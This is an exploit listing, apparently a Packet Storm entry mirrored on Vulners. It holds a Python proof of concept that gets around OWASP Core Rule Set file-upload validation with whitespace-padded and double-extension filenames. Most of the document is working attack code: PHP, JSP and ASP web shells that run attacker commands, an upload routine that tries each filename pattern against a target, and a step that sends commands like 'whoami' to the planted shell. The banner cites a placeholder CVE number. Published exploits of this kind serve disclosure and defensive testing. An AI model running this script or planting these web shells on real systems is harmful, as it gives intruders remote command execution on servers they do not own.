Lucene search
K

📄 OWASP CRS 3.3.9 / 4.25.x LTS / 4.8.x File Upload Bypass

🗓️ 27 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 42 Views

Bypasses file upload validation in Open Web Application Security Project Core Rule Set 3.3.9 / 4.25.x LTS / 4.8.x via filename formatting.

Code
==================================================================================================================================
    | # Title     : OWASP CRS 3.3.9, 4.25.x LTS, and 4.8.x. File Upload Bypass via Filename Whitespace / Extension Parsing Weakness  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://owasp.org/                                                                                               |
    ==================================================================================================================================
    
    [+] Summary    : a weakness in some web applications protected by OWASP Core Rule Set (CRS) or similar filters, where file upload validation can be bypassed using ambiguous filename formatting.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import argparse
    import os
    from urllib.parse import urljoin
    
    class CRSBypassExploit:
        def __init__(self, target_url, upload_endpoint, verbose=False):
            self.target_url = target_url.rstrip('/')
            self.upload_endpoint = upload_endpoint
            self.verbose = verbose
            self.session = requests.Session()
            
        def log(self, message, level="INFO"):
            if self.verbose or level == "ERROR":
                colors = {
                    "INFO": "\033[94m",
                    "SUCCESS": "\033[92m",
                    "ERROR": "\033[91m",
                    "WARNING": "\033[93m"
                }
                print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
        
        def generate_webshell_php(self, cmd_param="cmd"):
            return f"""<?php
    if (isset($_REQUEST['{cmd_param}'])) {{
        $cmd = $_REQUEST['{cmd_param}'];
        echo "<pre>" . shell_exec($cmd) . "</pre>";
    }} else {{
        echo "Webshell loaded. Use ?{cmd_param}=command";
    }}
    ?>"""
        
        def generate_webshell_jsp(self, cmd_param="cmd"):
            return f"""<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("{cmd_param}");
    if (cmd != null) {{
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {{
            out.println(line);
        }}
    }}
    %>"""
        
        def generate_webshell_asp(self, cmd_param="cmd"):
            return f"""<%
    Dim cmd
    cmd = Request("{cmd_param}")
    If cmd <> "" Then
        CreateObject("WScript.Shell").Run cmd, 0, True
    End If
    %>"""
        
        def upload_file(self, file_content, original_filename, extension, whitespace_position="before"):
            if whitespace_position == "before":
                filename = f"{original_filename}. {extension}"
            elif whitespace_position == "after":
                filename = f"{original_filename}.{extension} "
            elif whitespace_position == "both":
                filename = f"{original_filename}. {extension} "
            elif whitespace_position == "double":
                filename = f"{original_filename}.{extension}  "
            else:
                filename = f"{original_filename}.{extension}"
            
            files = {
                'file': (filename, file_content,
                         'application/x-httpd-php' if extension == 'php' else 'application/x-jsp')
            }
            
            try:
                url = urljoin(self.target_url, self.upload_endpoint)
                response = self.session.post(url, files=files)
                
                self.log(f"Uploaded: {filename}", "INFO")
                self.log(f"Response status: {response.status_code}", "INFO")
                
                return {
                    'success': response.status_code < 400,
                    'filename': filename,
                    'response': response.text,
                    'status_code': response.status_code
                }
            except Exception as e:
                self.log(f"Upload failed: {e}", "ERROR")
                return None
        
        def exploit_php(self, original_filename="shell"):
            self.log("Attempting PHP webshell upload...", "INFO")
            content = self.generate_webshell_php()
            patterns = ['before', 'after', 'both', 'double']
            
            for pattern in patterns:
                self.log(f"Trying pattern: {pattern}", "INFO")
                result = self.upload_file(content, original_filename, "php", pattern)
                
                if result and result['success']:
                    self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
                    return result
            
            self.log("All PHP patterns failed", "WARNING")
            return None
        
        def exploit_jsp(self, original_filename="shell"):
            self.log("Attempting JSP webshell upload...", "INFO")
            content = self.generate_webshell_jsp()
            patterns = ['before', 'after', 'both', 'double']
            
            for pattern in patterns:
                self.log(f"Trying pattern: {pattern}", "INFO")
                result = self.upload_file(content, original_filename, "jsp", pattern)
                
                if result and result['success']:
                    self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
                    return result
            
            self.log("All JSP patterns failed", "WARNING")
            return None
        
        def test_webshell(self, upload_path, cmd="whoami"):
            try:
                url = urljoin(self.target_url, upload_path)
                response = self.session.get(url, params={'cmd': cmd})
                
                if response.status_code == 200 and response.text:
                    self.log(f"Webshell working! Command output: {response.text[:200]}", "SUCCESS")
                    return True
                else:
                    self.log("Webshell test failed", "WARNING")
                    return False
            except Exception as e:
                self.log(f"Test failed: {e}", "ERROR")
                return False
        
        def exploit_double_extension(self):
            self.log("Attempting double-extension bypass...", "INFO")
            
            content = self.generate_webshell_php()
            filename = "shell. php.jpg"
            
            files = {
                'file': (filename, content, 'image/jpeg')
            }
            
            try:
                url = urljoin(self.target_url, self.upload_endpoint)
                response = self.session.post(url, files=files)
                
                if response.status_code < 400:
                    self.log(f"Double-extension upload successful: {filename}", "SUCCESS")
                    return {
                        'success': True,
                        'filename': filename,
                        'status_code': response.status_code
                    }
                else:
                    self.log("Double-extension upload failed", "WARNING")
                    return None
            except Exception as e:
                self.log(f"Double-extension upload failed: {e}", "ERROR")
                return None
    
    
    def main():
        parser = argparse.ArgumentParser(description='OWASP CRS Bypass Exploit - File Upload with Whitespace Padding')
        parser.add_argument('-u', '--url', required=True)
        parser.add_argument('-e', '--endpoint', default='/upload')
        parser.add_argument('-t', '--type', choices=['php', 'jsp', 'both'], default='both')
        parser.add_argument('-v', '--verbose', action='store_true')
        parser.add_argument('-c', '--command', default='whoami')
        
        args = parser.parse_args()
        
        print("=" * 60)
        print("OWASP CRS Bypass Exploit - CVE-2025-XXXXX")
        print("=" * 60)
        
        exploit = CRSBypassExploit(args.url, args.endpoint, args.verbose)
        results = []
        
        if args.type in ['php', 'both']:
            result = exploit.exploit_php()
            if result:
                results.append(('PHP', result))
        
        if args.type in ['jsp', 'both']:
            result = exploit.exploit_jsp()
            if result:
                results.append(('JSP', result))
        
        double_result = exploit.exploit_double_extension()
        if double_result:
            results.append(('Double Extension', double_result))
        
        if results:
            print("\n" + "=" * 60)
            print("EXPLOITATION SUMMARY")
            print("=" * 60)
            
            for exploit_type, result in results:
                print(f"\n[+] {exploit_type} exploit successful!")
                print(f"    Filename: {result.get('filename')}")
                print(f"    Status: {result.get('status_code', 'N/A')}")
                
                print(f"\n[*] Testing webshell with command: {args.command}")
                exploit.test_webshell(result.get('filename'), args.command)
        else:
            print("\n[-] Exploitation failed!")
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Apr 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
42